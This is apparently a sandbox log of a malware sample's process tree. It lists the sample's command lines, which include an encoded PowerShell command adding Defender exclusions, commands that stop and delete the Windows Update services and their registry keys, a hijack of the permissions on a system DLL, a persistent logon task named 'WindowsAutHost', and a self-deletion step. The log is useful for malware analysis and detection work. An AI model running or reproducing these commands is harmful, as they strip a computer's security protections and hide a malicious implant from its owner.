76587423657325823.exe "C:\Users\test22\AppData\Local\Temp\39428011-F743-4BBF\76587423657325823.exe"
2908AppLaunch.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
145512SIJPFdhsui3sdfSF.exe "C:\Users\test22\AppData\Local\Temp\39428011-F743-4BBF\SIJPFdhsui3sdfSF.exe"
2972powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHIAZgAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGcAYQAjAD4AIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAA8ACMAbQB2ACMAPgAgAEAAKAAgADwAIwBpAGIAIwA+ACAAJABlAG4AdgA6AFUAcwBlAHIAUAByAG8AZgBpAGwAZQAsACAAPAAjAGEAZQBnACMAPgAgACQAZQBuAHYAOgBQAHIAbwBnAHIAYQBtAEYAaQBsAGUAcwApACAAPAAjAHYAawB1ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHQAegAjAD4A"
145652cmd.exe "C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f & takeown /f %SystemRoot%\System32\WaaSMedicSvc.dll & icacls %SystemRoot%\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q & rename %SystemRoot%\System32\WaaSMedicSvc.dll WaaSMedicSvc_BAK.dll & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
145888sc.exe sc stop UsoSvc
145948sc.exe sc stop WaaSMedicSvc
145996sc.exe sc stop wuauserv
146044sc.exe sc stop bits
146092sc.exe sc stop dosvc
146140reg.exe reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f
146188reg.exe reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f
146232reg.exe reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f
146284reg.exe reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f
146400reg.exe reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f
3040takeown.exe takeown /f C:\Windows\System32\WaaSMedicSvc.dll
2128icacls.exe icacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q
2188reg.exe reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f
2584reg.exe reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f
2712reg.exe reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f
2936reg.exe reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f
3096schtasks.exe SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE
3152schtasks.exe SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE
3236schtasks.exe SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE
3344schtasks.exe SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE
3472schtasks.exe SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE
3548schtasks.exe SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE
3616schtasks.exe SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
3704cmd.exe "C:\Windows\System32\cmd.exe" /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
145540powercfg.exe powercfg /x -hibernate-timeout-ac 0
2068powercfg.exe powercfg /x -hibernate-timeout-dc 0
2120powercfg.exe powercfg /x -standby-timeout-ac 0
2236powercfg.exe powercfg /x -standby-timeout-dc 0
2296cmd.exe "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "WindowsAutHost" /tr "\"C:\Users\test22\AppData\Roaming\WindowsServices\WindowsAutHost\""
2428schtasks.exe schtasks /create /f /sc onlogon /rl highest /tn "WindowsAutHost" /tr "\"C:\Users\test22\AppData\Roaming\WindowsServices\WindowsAutHost\""
2460schtasks.exe schtasks /run /tn "WindowsAutHost"
2864cmd.exe "C:\Windows\System32\cmd.exe" /c choice /C Y /N /D Y /T 3 & Del "C:\Users\test22\AppData\Local\Temp\39428011-F743-4BBF\SIJPFdhsui3sdfSF.exe"
3320choice.exe choice /C Y /N /D Y /T 3
3424